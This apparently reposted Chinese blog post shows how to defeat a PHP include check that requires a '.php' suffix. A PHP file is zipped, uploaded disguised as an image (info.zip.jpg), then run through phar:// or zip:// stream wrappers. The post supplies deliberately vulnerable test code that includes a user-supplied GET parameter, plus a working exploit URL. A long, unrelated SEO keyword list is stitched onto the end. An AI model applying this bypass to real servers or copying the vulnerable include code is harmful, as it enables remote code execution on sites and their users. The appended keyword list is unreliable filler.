包含漏洞 文件类型白名单验证及判断后缀的解决办法
发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,$include_file 可控,可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.phpallow_url_include=Off (不考虑远程包含)if ( isset(
千家信息网最后更新 2026年10月31日包含漏洞 文件类型白名单验证及判断后缀的解决办法
$include_file 可控,可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.php
allow_url_include=Off (不考虑远程包含)
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { include_once( $include_file ); }-----------------------------------------------------
解决方案
要求php>=5.3
把php打包成zip,改名上传,比如名为info.zip.jpg
然后用phar流包装器包含,其中info.zip.jpg为zip文件名,info.php为zip压缩包内子文件名
http://localhost/index.php?a=phar://info.zip.jpg/info.php
测试代码:
echo "ini_get(allow_url_include):".ini_get("allow_url_include")."";$include_file=$_GET['a'];if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ){ include_once( $include_file );}else{ echo "file err";}参考文档:http://php.net/manual/zh/phar.using.stream.php
PS.
据php官方文档所述,最少需要php5.3才能使用,5.3之前需要拓展
如果不能用的话,还可以试试zip流包装器(需要zip拓展),注意转义井号:
zip://info.zip.jpg#info.php
文件
后缀
文件名
文档
包装
限制
代码
官方
方案
解决方案
义井
参考
测试
办法
名单
漏洞
类型
验证
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
科技互联网企业
中国互联网科技工作委员会毛军
重生之互联网科技帝国
科技互联网产品
科技赋能下的互联网金融
互联网为科技
互联网巨头科技公司
麻工互联网科技
期待互联网科技
互联网科技作文
云电互联网科技
互联网金融科技平台
居家互联网科技有限公司
创业天下互联网科技有限公司
顶级互联网科技成果有哪些
天津腾达互联网科技有限公司
深圳市罗太互联网科技有限公司
西安有哪些互联网高科技企业
河南商务圈互联网科技有限公司
广东猫王互联网科技有限公司电话
浩特互联网科技
长亮科技 互联网金融
国外互联网科技网站
太原新华互联网科技学校怎么样
互联网新科技动漫ppt素材
互联网公司高科技产品
厦门江牛科技互联网
福州德业互联网科技
互联网科技创业有什么好项目
如何强化互联网金融科技